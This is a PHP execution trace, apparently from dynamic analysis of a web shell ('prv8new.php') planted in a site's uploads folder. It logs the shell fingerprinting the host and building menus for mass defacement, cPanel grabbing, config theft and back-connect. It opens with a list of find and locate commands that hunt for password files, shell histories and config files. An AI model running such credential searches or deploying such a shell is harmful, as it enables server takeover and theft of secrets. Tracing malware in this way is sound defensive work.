current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
4	44	0	0.020135	1238816	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1687	1	'actionFilesMan'
4	44	1	0.020151	1238856
4	44	R			TRUE
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1688	_POST['a'] = 'FilesMan'
4	45	0	0.020178	1238816	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1691	1	'actionFilesMan'
4	45	1	0.020193	1238856
4	45	R			TRUE
4	46	0	0.020208	1238776	actionFilesMan	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1692	0
5	47	0	0.020224	1238776	hardHeader	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1017	0
6	48	0	0.020241	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	135	1	'/var/www/html/uploads/'
6	48	1	0.020258	1243040
6	48	R			'/var/www/html/uploads/'
6	49	0	0.020273	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	136	1	'FilesMan'
6	49	1	0.020288	1243040
6	49	R			'FilesMan'
6	50	0	0.020302	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	137	1	'utf-8'
6	50	1	0.020316	1243040
6	50	R			'utf-8'
6	51	0	0.020332	1242848	strpos	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	138	2	NULL	'\n'
6	51	1	0.020347	1242920
6	51	R			FALSE
6	52	0	0.020362	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	138	2	NULL	3
6	52	1	0.020376	1243080
6	52	R			''
6	53	0	0.020390	1242848	strpos	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	139	2	NULL	'\n'
6	53	1	0.020405	1242920
6	53	R			FALSE
6	54	0	0.020418	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	139	2	NULL	3
6	54	1	0.020433	1243080
6	54	R			''
6	55	0	0.020446	1242848	strpos	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	140	2	NULL	'\n'
6	55	1	0.020460	1242920
6	55	R			FALSE
6	56	0	0.020473	1242848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	140	2	NULL	3
6	56	1	0.020487	1243080
6	56	R			''
6	57	0	0.020501	1246944	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	151	1	'localhost'
6	57	1	0.020515	1247040
6	57	R			'421aa90e079fa326b6494f812ad13e79'
6	58	0	0.020530	1246944	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	152	1	'localhost'
6	58	1	0.020544	1247040
6	58	R			'421aa90e079fa326b6494f812ad13e79'
6	59	0	0.020559	1246944	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	153	1	'localhost'
6	59	1	0.020572	1247040
6	59	R			'421aa90e079fa326b6494f812ad13e79'
6	60	0	0.020587	1246944	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	154	1	'localhost'
6	60	1	0.020600	1247040
6	60	R			'421aa90e079fa326b6494f812ad13e79'
6	61	0	0.020615	1246944	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	155	1	'localhost'
6	61	1	0.020628	1247040
6	61	R			'421aa90e079fa326b6494f812ad13e79'
6	62	0	0.020642	1246944	addslashes	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	167	1	'/uploads/prv8new.php'
6	62	1	0.020657	1246976
6	62	R			'/uploads/prv8new.php'
6	63	0	0.020680	1238864	diskfreespace	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	199	1	'/var/www/html/uploads/'
6	63	1	0.020703	1238896
6	63	R			195448467456
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	199	$freeSpace = 195448467456
6	64	0	0.020731	1238864	disk_total_space	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	200	1	'/var/www/html/uploads/'
6	64	1	0.020747	1238896
6	64	R			232015802368
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	200	$totalSpace = 232015802368
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	201	$totalSpace = 232015802368
6	65	0	0.020791	1238864	php_uname	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	202	1	'r'
6	65	1	0.020806	1238944
6	65	R			'5.15.0-60-generic'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	202	$release = '5.15.0-60-generic'
6	66	0	0.020833	1238912	php_uname	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	203	1	's'
6	66	1	0.020847	1238976
6	66	R			'Linux'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	203	$kernel = 'Linux'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	204	$explink = 'https://www.exploit-db.com/search/?action=search&description='
6	67	0	0.020887	1238944	strpos	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	205	2	'Linux'	'Linux'
6	67	1	0.020901	1239016
6	67	R			0
6	68	0	0.020914	1238944	substr	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	206	3	'5.15.0-60-generic'	0	6
6	68	1	0.020929	1239072
6	68	R			'5.15.0'
6	69	0	0.020942	1238992	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	206	1	'Linux Kernel 5.15.0'
6	69	1	0.020957	1239072
6	69	R			'Linux+Kernel+5.15.0'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	206	$explink .= 'Linux+Kernel+5.15.0'
6	70	0	0.020984	1239056	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	209	1	'posix_getegid'
6	70	1	0.020999	1239096
6	70	R			TRUE
6	71	0	0.021012	1239056	posix_geteuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	215	0
6	71	1	0.021027	1239056
6	71	R			33
6	72	0	0.021042	1239056	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	215	1	33
6	72	1	0.021124	1239888
6	72	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	215	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6	73	0	0.021179	1239856	posix_getegid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	216	0
6	73	1	0.021193	1239856
6	73	R			33
6	74	0	0.021206	1239856	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	216	1	33
6	74	1	0.021235	1240520
6	74	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	216	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	217	$user = 'www-data'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	218	$uid = 33
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	219	$group = 'www-data'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	220	$gid = 33
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	222	$cwd_links = ''
6	75	0	0.021330	1239136	explode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	223	2	'/'	'/var/www/html/uploads/'
6	75	1	0.021346	1239744
6	75	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	223	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	224	$n = 6
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>/</a>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>var/</a>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>www/</a>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>html/</a>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'uploads/'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>uploads/</a>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	231	$charsets = [0 => 'Windows-1251', 1 => 'UTF-8', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	232	$opt_charsets = ''
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="UTF-8" >UTF-8</option>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="cp866" >cp866</option>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	235	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Adminer', 'Terminal' => 'Console', 'Mass User' => 'Edituser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Sym Python' => 'Sym', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Bypass' => 'bypas', 'BC' => 'Network']
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	239	$m['Logout'] = 'Logout'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	240	$m['Self Remove'] = 'SelfRemove'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	241	$menu = ''
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Sec. Info'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Files'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Mass Deface'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Mass Deface</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Adminer'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Adminer\',null,\'\',\'\',\'\')">Adminer</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Terminal'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Terminal</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Mass User'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Edituser\',null,\'\',\'\',\'\')">Mass User</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Grab Cpanel'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Grab Cpanel</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Get Configs'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Get Configs</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Sym Python'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Sym\',null,\'\',\'\',\'\')">Sym Python</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Jumping'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">Jumping</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Cgi Telnet'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Cgi Telnet</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Bypass'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'bypas\',null,\'\',\'\',\'\')">Bypass</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'BC'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">BC</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Logout'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Logout\',null,\'\',\'\',\'\')">Logout</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Self Remove'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self Remove</a></font></th>'
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	244	$drives = ''
6	76	0	0.022510	1242928	php_uname	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	0
6	76	1	0.022525	1243040
6	76	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	77	0	0.022544	1243040	substr	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
6	77	1	0.022562	1243136
6	77	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	78	0	0.022581	1243056	php_uname	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	0
6	78	1	0.022595	1243168
6	78	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	79	0	0.022613	1243168	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	79	1	0.022630	1243328
6	79	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
6	80	0	0.022650	1243376	phpversion	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	0
6	80	1	0.022662	1243440
6	80	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
6	81	0	0.022679	1243632	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	1	'Y-m-d H:i:s'
6	81	1	0.022747	1245984
6	81	R			'2023-02-12 22:44:49'
6	82	0	0.022767	1245696	viewSize	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	1	232015802368
7	83	0	0.022783	1245696	sprintf	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	308	2	'%1.2f'	216.08155441284
7	83	1	0.022799	1246080
7	83	R			'216.08'
6	82	1	0.022813	1245736
6	82	R			'216.08 GB'
6	84	0	0.022827	1245696	viewSize	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	1	195448467456
7	85	0	0.022842	1245696	sprintf	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	308	2	'%1.2f'	182.02556991577
7	85	1	0.022857	1246080
7	85	R			'182.03'
6	84	1	0.022871	1245736
6	84	R			'182.03 GB'
6	86	0	0.022885	1245696	round	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	2	84.239291229827	2
6	86	1	0.022900	1245768
6	86	R			84.24
6	87	0	0.022915	1246080	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	252	1	'/var/www/html/uploads/'
7	88	0	0.022930	1246080	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/'
7	88	1	0.022951	1246120
7	88	R			TRUE
7	89	0	0.022965	1246080	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/'
7	89	1	0.022982	1246120
7	89	R			TRUE
7	90	0	0.022995	1246080	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/'
7	90	1	0.023013	1246144
7	90	R			16895
7	91	0	0.023026	1246104	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
7		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
7	91	1	0.023153	1246144
7	91	R			'drwxrwxrwx'
6	87	1	0.023168	1246184
6	87	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
6	92	0	0.023185	1246616	gethostbyname	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	253	1	'localhost'
6	92	1	0.023224	1246696
6	92	R			'127.0.0.1'
5	47	1	0.023242	1240952
5	93	0	0.023251	1240952	hardScandir	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1019	1	'/var/www/html/uploads/'
6	94	0	0.023266	1240952	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	345	1	'scandir'
6	94	1	0.023280	1240992
6	94	R			TRUE
6	95	0	0.023293	1240952	scandir	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	346	1	'/var/www/html/uploads/'
6	95	1	0.023330	1241576
6	95	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'prv8new.php']
5	93	1	0.023352	1241544
5	93	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'prv8new.php']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1019	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'prv8new.php']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1022	$sort = [0 => 'name', 1 => 1]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1036	$files = []
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1036	$dirs = []
